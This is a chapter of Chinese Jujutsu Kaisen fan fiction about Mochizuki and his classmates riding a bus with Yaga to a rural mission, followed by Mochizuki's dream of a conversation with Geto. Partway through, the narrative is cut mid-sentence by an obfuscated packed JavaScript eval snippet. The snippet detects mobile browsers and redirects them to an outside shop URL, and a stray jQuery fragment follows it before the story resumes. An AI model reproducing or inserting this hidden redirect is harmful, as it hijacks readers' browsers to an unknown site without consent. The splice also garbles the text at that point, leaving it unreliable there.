没什么东西好收拾的。
望月雷响来这个世界。从作为玩家到真实的受困,留下的东西都不多,为数几样还是最近才新添加的。思来想去,除了把答应给五条悟的戒指上刻好名字外,望月雷响在出发前就只收拾了几套换洗的衣物。
咒灵的诞生并非只集中在人口密集的城区,一些偏远的乡间也颇受以负面情绪为摇篮的咒灵们好评。他们本次的目的地亦是如此——一处靠近京都附近的不知名小乡镇。
就算只是短期的旅行,整理的东西也都一人拉了一个行李箱,整个高专被行李滚轮的声音骨碌碌填充。
他们默契的在校门口前碰面。
出校前,五条悟的手机又响了。
在同期几人的目光下,五条悟瞥了眼手机,表情平静地接听。不知道对面说了什么,没几分钟,五条悟就相当不耐烦地选择挂断。
“家里又出事了?”夏油杰随口关心道。
五条悟不置可否地耸耸肩,墨镜往下滑一截,“没什么大事,只是家里长辈年纪上去了就容易一惊一乍的,担心邻居造反,天天念叨着让我回家管事,烦死了。”
感觉自己听到什么宗族秘闻的夏油杰:“……不,其实没必要和我说这些。”
知道是什么家族秘辛的望月雷响保持了一贯的沉默。
家入硝子拖着行李在他们后面,个头小但份量还挺重,不知道带了什么东西。望月伸手过去提到自己手里,她才姑且走到和两人齐平的位置,正好听到这番话,自然地加入话题:“那你不回去?”
“啊?”五条悟理所当然道,“才不要,我要上学啊!”
话是好话,没有问题,但被五条悟说出口便很奇怪。
三人默默看了五条悟一阵,直到看得五条悟毛骨悚然地摸自己的胳膊,大喊“你们干嘛啊?!”后,才默契撤回视线。
五条悟一脸莫名其妙:“到底什么意思?!”
他们走出咒术高专的校门,远远就能看到站在阳光下的夜蛾正道。
夜蛾正道比他们早到,富有师德的他还是那身黑色的正装,整个人严肃得不像是要出去旅行,而是即将去做什么拯救世界的大事。在他旁边则站着几名看着面色尴尬的黑西装人员。
咒术高层尽管给人印象都大多无所事事,还喜欢没事找事,但基础的工作流程派发还是正常的。
任务信息、任务地点,出行工具等等,有关于咒术师即将进入普通人占比80%的社会——都会有一支名为“窗”的人员负责他们的出行规划,司机则是受到过咒术师教育的辅助监督担任,同时也是施放“帐”的工作人员。
不过面对他们即将前往的交通闭塞的目的地,显然连专门的“窗”们都感到束手无策。
“你们终于来了。”夜蛾正道说,“他们有事要问,好好回答。”
他身旁其中一人随即对着几名学生道:“麻烦各位了!”
是的,因为这个棘手的问题。“窗”们相当匆忙地找了过来,站在夜蛾正道身旁,一见到几人便言辞恳切的询问出行几人的想法。
“夜蛾先生说,希望先优先征询各位的意见。”
原先他们是打算以夜蛾正道本人的想法为先,再去做准备。但夜蛾正道坚持让几名学生来选择,于是他们硬生生陪着夜蛾正道等到几人到来。
这个天气,虽然不热,但能陪同等这么久也很不容易。
望月雷响知道后格外同情他们,从随身挎包抽了几张纸巾递过去,被感激地接过。他太理解这种感受了,甲方太有人情味,为难的反而是跑腿的。
不过应该只有他共情了,其余人在听到的第一时间,就已经开始根据这个话题讨论起来。
“我绝对不想大汗淋漓地走到地方。”这是家入硝子的想法。
“轻松一点比较好吧?”这是夏油杰的委婉说辞。
“摩托也进不去。”这是实事求是的夜蛾正道,“望月同学怎么想?”
望月雷响:“……我都行。”这是随波逐流的他。
骑行pass,步行尚且有待商榷,几人略微一琢磨,最终又在夜蛾正道的拍板下,选择了乘坐巴士去到位置,合情合理,合法合规。
“窗”们很快接受这个方案,立即去做准备。以防万一,夜蛾正道也跟过去配合工作。这一选择几乎全票通过——除了一个人。
“多走走也没什么嘛?!”
——五条悟对此相当不满意,有六眼的他精力满满,想体验大家一起累到趴地上的感觉(所有人都觉得他其实只是想看其他人狼狈),被家入硝子严厉拒绝。
“有什么不好啊?”五条悟语气郁闷,“好不容易大家一起出去,还是这种方式——反正硝子你走不动的话,望月那家伙也会愿意背着你走的!”
望月雷响:“……”其实不愿意。
家入硝子抱臂:“首先,我才不要没苦硬吃。其次,小望月也没义务背着我走。最后,这种事只有杰才会陪着你乱来,你们两个自己暴走去吧,我和小望月就先上车了。”
荣获新外号的望月雷响眨眨眼。
夏油杰默默插话:“纠正一下,这种事杰也不会陪着乱来,谢谢。”
“哈?”
五条悟每次被众人一致对外,都会露出这种被背叛的表情,接着夸张地睁大他那双眼睛,“你们——!!”
就像是什么流水线一样的步骤。第一次看还会心虚,多了就没感觉了。
“吵死了!”家入硝子捂住靠近他那边的耳朵。
夏油杰闷闷笑了一声,这一刻的心情很难得,他下意识寻求分享伙伴那般侧目看望月雷响,在望月雷响感觉到视线,回应似的看过来后,又不知为何克制地移开。
“难得夜蛾老师大发善心,你就勉强乖巧一点吧?悟。”
夏油杰说道。
不过,这只是其中一个插曲,很快过去。一辆巴士在几人讨论不久后便停在几人面前,车身相当简朴低调,显然是“窗”的安排。
他们顿时没再闲聊,上了车,放好行李后默契的以东南西北四个方向分散,像是什么传统家族里维护阵法的四大护法。
带队的夜蛾正道一上车,他见此情景疑惑不已,还以为自己走错地方,退出车门又跨进来。
真是太阳从西边出来了。新来的表现乖巧,其他几个凑到一块就是混世魔王的学生竟然也老老实实分开坐。但看几人脸上神色如常,仿佛这件事的出现再正常不过,夜蛾正道便把你们几个又想干什么的疑问咽了回去。
他转过头,在第一排第一个位置坐下,想到从开始到结束的车程时间不算短,打算小憩一会儿。
冷空气缓慢地随着车辆的启动弥散。
巴士很容易受路段影响,尤其是在乡野这种没有专门修筑过的道路上,便显得格外明显,这也是它为什么会被淘汰出都市的原因。
车辆摇晃不止,想打个瞌睡都难,车窗外的景色也逐渐从水泥城市变成了森森绿意。
这种程度的颠簸,饶是夜蛾正道也有点受不了,强撑半个小时后睁开眼,实在晕的不行,从包里翻出晕车药来。
他心里冒出些许担心,扭头去看自己的学生们,想问问情况,需不需要晕车药的帮助。结果一回头就看到几个分据四方的人不知道什么时候又凑到一个小角落去,东倒西歪得睡成一团。
夜蛾正道:“……”
那他们一开始装模作样的意义到底是什么?
永远搞不懂自己性格过于特色的学生们的想法的夜蛾正道,头疼扶额,心觉自己还有很长一段路要走。
不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17851846|209418||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过在他们长大之前,身为师长的自己有义务维护青少年们的身心健康。
夜蛾正道思量片刻,找来一条毯子盖在了四个凑到一块的人身上,正好对上因为这一动静迷糊睁开眼的家入硝子。
他轻轻摆摆手,摇头。家入硝子朦胧的看他一会儿,又闭上眼。
巴士运行过程中产生的冷气,被毯子隔绝在外,让沉睡的几人眉头不自觉松开。
……
太好睡了,还是抵着头睡觉的时候闻到了谁的洗发水的味道。
望月雷响做梦梦到了刚出宿舍的时间。
顺利起床后,两人就准备去上课。夏油杰正在整理衣服,他貌似格外注重自己的外在形象,抚平衣褶后,又开始摆弄头发。不过由于望月雷响的宿舍尚且没有购入镜子,绑头发的流程就变得格外困难。
望月雷响见状,放下手里的东西过去帮忙。
夏油杰也没拒绝,顺势放松肩膀,把自己最重要的造型设计交给同期。
他的头发发质很好,摸在手里,像是流淌的溪水,冰凉顺滑的,很听话,没什么碎发会趁着指缝溜走。
也可能是因为不听话的碎发都在额前的缘故。望月雷响接过夏油杰递过来的头绳,目光一瞬落在撩开头发后便露出来的光洁后颈,很快移开。
两人都没说话。
感觉气氛莫名有些尴尬,他难得没话找话的想聊聊天:
“之前那个,可以把我们拉到神秘空间的束缚……不是已经按五条同学说的那样解开了吗?为什么还存在着。”
而且还像是定位器一样能够辨认他的存在。
夏油杰没第一时间回答,大抵在思考,过了好一会儿才温声回应。
“可能是因为不是真心实意的吧。”
咒灵由人的负面情绪诞生,诅咒某种意义上能识别人心,也能辨认谎言。这句话的意思是,当时的两人有一方说谎了,所以束缚没能顺利解除。
事已至此,追究到底是谁的问题已经完全没有意义。
“如果想做朋友的话,不真心实意的【分手】是不行的吧。”望月雷响开玩笑一般调侃。
夏油杰沉默片刻,说:“我倒是觉得不用,这样很方便。”
“方便?”
“方便我随时认出望月同学你。”
望月雷响利索结束最后一步,给夏油杰绑了个平日里那样的丸子头。
“我觉得,我们最好解除这个东西。”
望月雷响不想因为这个被发现两个不同的身份,仗着夏油杰背对他所以看不到自己的表情,垂眼细细打量他的头发,选择用严重的情报覆盖明显的漏洞,“夏油同学,我喜欢男生。如果你不想被其他人当异类一样看的话,我们最好赶紧解除束缚,越快越好。”
“不然,我真的喜欢上你就不好了。”
夏油杰:“……”
夏油杰:“?”
黑发丸子头少年又是沉默,随即一言难尽地回头,他此时的眼神逐渐和望月过去最熟悉的、旁人看向性取向特别群体的目光重合。
“你认真的?”他问。
望月雷响一个激灵,从梦里惊醒。
他醒来的时机很巧,目的地到了,车辆刚停稳。
他睁开眼,看到身边的夏油杰与家入硝子两人已经在做下车的准备,只有被他靠着肩膀的五条悟还坐在原位,眉头高高挑起。
注意到他醒了,五条悟伸手轻轻推了一把,站起来。
“终于到——了,累死我了!”
听到身后没动静,五条悟走到一半,又面带疑惑地回过头,“你还不打算起来吗?”
望月雷响:“……”
感觉自己好像打出什么胃痛剧情的望月雷响,稍微按了按腹部,接着站了起来,跟着下车。